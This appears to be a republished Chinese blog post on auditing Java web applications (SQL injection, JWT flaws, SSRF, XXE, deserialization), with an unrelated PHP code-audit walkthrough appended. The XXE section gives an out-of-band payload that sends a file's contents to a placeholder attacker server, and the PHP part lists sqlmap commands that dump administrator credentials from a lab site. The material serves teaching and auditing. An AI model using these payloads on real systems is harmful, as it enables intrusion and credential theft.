代码审计-JAVAjavaweb代码审计思路
Posted 黑色地带(崛起)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计-JAVAjavaweb代码审计思路相关的知识,希望对你有一定的参考价值。
前言:
介绍:
博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。
殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。
导读:
面向读者:对于网络安全方面的学者。
本文知识点(读者自测):
(1)框架-组件-依赖库-过滤器(√)
(2)SQL注入(√)
(3)安全验证(√)
(4)常规漏洞(√)
(5)审计工具(√)
让读者如虎添翼
审计博文 类型 状态 【代码审计-PHP】phpStudy(新版) + PhpStorm + XDebug动态调试 php 已发布 【代码审计-PHP】审计方法、敏感函数、功能点 PHP 已发布 【代码审计-PHP】基于Thinkphp框架开发的 PHP 已发布 【代码审计-.NET】基于.NET框架开发的基本特征 .NET
已发布 【代码审计-.NET】基于.NET框架开发的代码审计 .NET 已发布 【代码审计-JAVA】基于javaweb框架开发的 JAVA 已发布 【代码审计-JAVA】javaweb代码审计思路 JAVA 已发布 2023将更新更多,敬请期待 —— ——
目录
一、框架-组件-依赖库-过滤器
1、框架-组件-依赖库
通过了解了开发的框架以及组件以后,可以扩大攻击面
查看配置文件web.xml和外部引用库,确定当前引用框架名称和版本
通过获取的版本等,对比漏洞库
框架确定: 1、maven(查看pom.xml关键字) spring-core/ springframework.core spring框架 struts2-core struts2框架 springframework.boot srping-boot框架 servlet-api 原生servlet 2、lib(查看jar包名称) spring-core/springframework.core spring框架 struts2-core struts2框架 spring-boot srping-boot框架 servlet-api 原生servlet
配置文件: Struts2 struts.xml Spring applicationContext.xml Spring MVC spring-mvc.xml Hibernate Hibernate.cfg.xml Mybaits mybatis-config.xml
2、过滤器
过滤器专门设置了针对SQL注入、XSS等拦截
通过对过滤器分析,可以知道过滤规则,以及可以最终筛选出未使用过滤器的URL
(也可以搜索关键字定位过滤器)
web.xml中 <filter> <filter-name>xsscheck</filter-name>//名字 <filter-class>com.anbai.sec.XssFilter</filter-class>//class </filter> <filter-mapping> <filter-name>xsscheck</filter-name>//名字 <url-pattern>*.jsp</url-pattern>//路由 </filter-mapping>
二、SQL注入
(数据库模式--->sql语句的写法--->函数--->类--->调用层次)
1、JDBC 注入
全称:Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系数据库,并使用SQL语句来完成对数据库中数据的查询、更新和删除等操作
1、PreparedStatement预编译机制(安全写法) // sql语句(使用?进行占位) String sql = "select * from user where id = ?"; // sql语句的预编译(返回一个预编译对象) xxx = conn.prepareStatement(sql); 2、直接进行拼接(不安全写法) String sql = "select * from user where id ="+req.getParameter("id");
2、Mybatis注入
使用简单的 XML 或注解来配置和映射原生信息,将接口和 Java 的 POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录
搜索xml查找关键点(如$)--->反推到DAO--->到实现类--->通过调用链找到前台URL--->找到利用点
1、#会对语句进行预编译 安全写法(): select * from user where name = #name 2、$ 动态解析SQL时候会进行变量替换( 只进行string替换) 不安全写法(UserDao.xml):select * from user where name = $name 3、产生原因 模糊查询 使用#程序会报错 Select * from news where title like ‘%#title%’ (可能会把#号改成了$) 正确: Select * from news where tile like concat(‘%’,#title, ‘%’) in 后有参数 使用# 同样会报错 Select * from news where id in (#ids) (可能会将将#替换为$) 正确(使用foreach) id in<foreach collection="ids" item="item" open="("separatosr="," close=")">#ids </foreach> order by order by使用的是$,而like和in没有问题
3、Hibernate注入
Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。 Hibernate可以应用在任何使用JDBC的场合,既可以在Java的客户端程序使用,也可以在Servlet/JSP的Web应用中使用,最具革命意义的是,Hibernate可以在应用EJB的JavaEE架构中取代CMP,完成数据持久化的重任
1、安全写法():参数绑定预编译 Query<User>.query=session.createNativeQuery("select * from user where name=:name"); query.setParameter("name",parameter) ; 2、不安全写法(User.java):直接拼接 Query<User>.query=session.createNativeQuery("select * from user where name="+req.getParameter("id"));
三、安全验证
1、验证框架
1、 Shiro:通用性,是一个权限管理的框架,实现用户认证、用户授权等 Spring Security:和 Spring 无缝整合 …… 2、分析pom.xml Maven配置文件 <shiro-spring-version>……</shiro-spring-version> <shiro-ehcache.version>……</shiro-ehcache.version> 针对对应的版本号,搜索已爆出的框架漏洞 3、查看shiro配置信息 tumo.shiro.anon_url=\\ /login,/logout,/register,\\ /,/about,/p/**,/links,/comment/**,/link/list,/article/list,\\ /css/**,/js/**,/img/** (anon代表不需要鉴权的配置,**表示该接口下的所有接口)
2、代码验证
这就得抓包,并结合反编译对验证代码进行审计了
3、过滤器
过滤器的绕过、过滤器未引用
无非就是绕过if等判断语句
4、JWT加密
对于身份等重要的信息可能会使用JWT加密(在不知道密钥的情况下,黑盒很难利用)
JWT是三段式,在cookie中一眼就能看出加密后生成的token
(header.payload.signature)
1、空加密算法 在header中指定alg为None 变为:header.payload 2、加密算法 RSA:非对称加密算法,使用私钥加密明文,公钥解密密文 HMAC:对称加密算法,使用相同的密钥对传输信息进行加解密 公钥可以通过一些途径获取(如前端加密等) 尝试使用HMAC替换RSA 3、kid(header中可选参数,指定加密密钥) 用户可控,可测试注入、文件读取等
四、常规漏洞
1、代码、函数执行
1、可执行函数(如exec()等),搞清楚传递过程,是否用户可控
2、表达式注入(一般是参数值,不过有的也有极少的是参数名,一般会有检测,如OGNL、SpEL、MVEL、EL、Fel、JST+EL等)
3、后端模板引擎注入(如Freemarker、Velocity、Thymeleaf等)
4、第三方开源组件(如Fastjson、Shiro、Xstream、Struts2)
2、SSTI
【SSTI模块注入】SSTI+Flask+Python(上)
【SSTI模块注入】SSTI+Flask+Python(中)
【SSTI模块注入】SSTI+Flask+Python(下)
源码:在pom.xml里面找使用有模版引擎,如freemarker
前端:寻找修改模块的功能点
3、SSRF
【SSRF漏洞】原理、危害利用、触发点、利用过程、协议使用……
危险函数 urlConnection.getInputStream HttpURLConnection.getInputStream URLConnection.getInutStream HttpClient.execute OkHttpClient.newCall.execute Request.Get.execute Request.Post.execute URL.openStream ImageIO.rea
4、XXE
xlsx-streamer poi-ooxml Documentbuilder|DocumentBuilderFactory|SAXReader|SAXParser|SAXParserFactory|SAXBuilder|TransformerFactory|reqXml|getInputStream|XMLReaderFactory|.newInstance|SchemaFactory|SAXTransformerFactory|javax.xml.bind|XMLReader|XmlUtils.get|Validator javax.xml.parsers.DocumentBuilder javax.xml.stream.XMLStreamReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.parsers.SAXParser org.dom4j.io.SAXReader org.xml.sax.XMLReader javax.xml.transform.sax.SAXSource javax.xml.transform.TransformerFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.validation.SchemaFactory javax.xml.bind.Unmarshaller javax.xml.xpath.XPathExpression org.apache.commons.digester3.Digester
xxx.xlsx: <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://攻击者服务器/xxx.dtd"> %remote;%int;%send; ]> <root>&send;</root> xxx.dtd: <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://攻击者服务器:端口/%file;'>"> 攻击者服务器监听 nc -lvvp 端口
5、反序列化
序列化使用的地方:
1、参数,cookie,sesion,存储时候可能会base64,压缩后的base64、MII等加密
2、Servlets http,Sockets,Session管理器(包含的协议:JMX,RMI,JMS,JND1等)
3、xmlXstream,XmldEcoder等(http Body:Content-type: application/xml)
4、json(jackson,fastjson)http请求中包含
框架组件:fastjson,shiro,jackson,CommonsCollections等
利用工具:
jndi:可用于Fastjson、Jackson等验证
ysoserial:支持多种引用库生成的payload
marshalsec:可以快速启动rmi/ldap server
FastjsonExploit:专门针对fastjson的exp框架ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject
五、审计工具
Fortify、CheckMarx、Findbugs、PMD等
网络安全三年之约
First year
掌握各种原理、不断打新的靶场
目标:edusrc、cnvd
主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/
second year
不断学习、提升技术运用技巧,研究各种新平台
开始建立自己的渗透体系
目标:众测平台、企业src应急响应中心
众测平台 URL 漏洞盒子 漏洞盒子 | 互联网安全测试众测平台 火线安全平台 火线安全平台 漏洞银行 BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台 360漏洞众包响应平台 360漏洞云漏洞众包响应平台 补天平台(奇安信) 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC 春秋云测 首页 雷神众测(可信众测,安恒) 雷神众测 - BountyTeam 云众可信(启明星辰) 云众可信 - 互联网安全服务引领者 ALLSEC ALLSEC 360众测 360众测平台 看雪众测(物联网) https://ce.kanxue.com/ CNVD众测平台 网络安全众测平台 工控互联网安全测试平台 CNCERT工业互联网安全测试平台 慢雾(区块链) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone 平安汇聚 http://isrc.pingan.com/homePage/index
互联网大厂 URL 阿里 https://asrc.alibaba.com/#/ 腾讯 https://security.tencent.com/ 百度 https://bsrc.baidu.com/v2/#/home 美团 https://security.meituan.com/#/home 360 https://security.360.cn/ 网易 https://aq.163.com/ 字节跳动 https://security.bytedance.com/ 京东 https://security.jd.com/#/ 新浪 http://sec.sina.com.cn/ 微博 https://wsrc.weibo.com/ 搜狗 http://sec.sogou.com/ 金山办公 https://security.wps.cn/ 有赞 https://src.youzan.com/
Third Year
学习最新的知识,建全自己的渗透体系
目标:参与护网(每一个男孩子心中的梦想)
时间:一般5月面试,6/7月开始(持续2-3周)
分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)
0-PHP代码审计——通用代码审计的思路
目录
1. 代码审计前的准备工作
在进行代码审计之前,我们需要对项目的整体结构有一个大概的了解,主要是了解以下几方面:
- 项目源码文件结构:主要是了解程序的源码文件结构,以及每个文件的作用
- 程序入口文件:通常是程序开始执行的地方,通过入口文件可以了解程序的执行流程,熟悉业务的具体实现逻辑
- 配置文件:一般都是以config开头的文件,这些文件保存了数据库和程序的一些配置信息
- 过滤功能:阅读项目的源码文件,分析公共的安全检查函数,过滤函数的功能
2. 代码审计思路
1. 检查敏感函数的参数,回溯变量:对敏感函数进行逆向分析,例如分析一些安全检查,过滤的函数对于输入的变量是否经过严格的校验过滤,是否存在绕过的问题,是否调用了具有潜在危险的系统函数等。
2. 通读全文:通读项目源代码是一种最难,但也最有效的代码审计方法,难的是大型项目需要花费大量的时间和精力熟悉整个项目的业务流程,因为这样能挖掘到更有价值的漏洞,所以有时候这也是一种必要的方法。
3. 定位分析敏感功能点:主要是程序中的一些可能会出现的功能点进行分析,判断这类应用通常在哪些功能会出现漏洞安全问题。常见的敏感功能有:文件上传,数据库备份恢复,登录功能验证码等等。这些都是可能会存在安全问题的敏感功能。
3. 使用代码审计工具
常用的代码审计工具有seay代码审计工具和RIPS,这两个工具都是免费开源的,接下来我们通过seay代码审计工具来审计bluecms1.6的源代码。
点击新建项目,选择选择bluecms的根目录,这里是放在C:\\phpstudy\\WWW\\test.com目录下,在菜单栏中点击自动审计 ---> 开始审计,然后seay就会开始进行代码审计,如下图所示:
选中一个sq注入漏洞,右键打开文件定位到存在漏洞的代码
直接定位到了一行代码中,并且在这行代码中使用了一个变量来拼接sql语句,然后分析ad_id变量是如何传递的,内容是否可控,我们可以选中变量ad_id右键全局搜索
点击全局搜索界面,选中这行双击定位到代码
后台接收到数据后只判断了ad_id是否为空,并没有对ad_id变量进行过滤,然后直接拼接到sql语句中执行
我们继续分析getone函数,getone函数内部也没有任何过滤,直接执行了sql语句。
找到注入点之后,那么我们可以直接在前台利用这个漏洞:
当输入ad_id=1页面是一片空白,当输入ad_id=1'页面返回了数据库报错信息,说明是数字型注入。
接下来就可以通过sqlmap来验证测试漏洞了,sqlmap扫描sql注入漏洞:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1"
然后sqlmap扫描到ad_id参数存在时间盲注和联合注入漏洞
爆出当前数据库名:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" --current-db
列出当前数据库的所有数据库表名:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" -D "bluecms" --tables
sqlmap总共扫出29张数据库表,我们猜测blue_admin表中存储了管理员用户的用户名和密码信息。
列出当前数据库的blue_admin表的所有字段信息:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" -D "bluecms" -T "blue_admin" --columns
从上图中可以看到blue_admin数据库表中有8个字段,其中admin_name字段应该是存储着用户名,pwd存储着密码
列出blue_admin表中的用户和密码信息:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" -D "bluecms" -T "blue_admin" -C "admin_name,pwd" --dump
因为之前测试时只注册了一个管理员用户,因此这里默认只导出一条数据,密码是经过md5加密的,解密后就是之前设置的123456密码。拿到管理员的用户名和密码,就可以登录后台拿到管理权限了。
以上是关于代码审计-JAVAjavaweb代码审计思路的主要内容,如果未能解决你的问题,请参考以下文章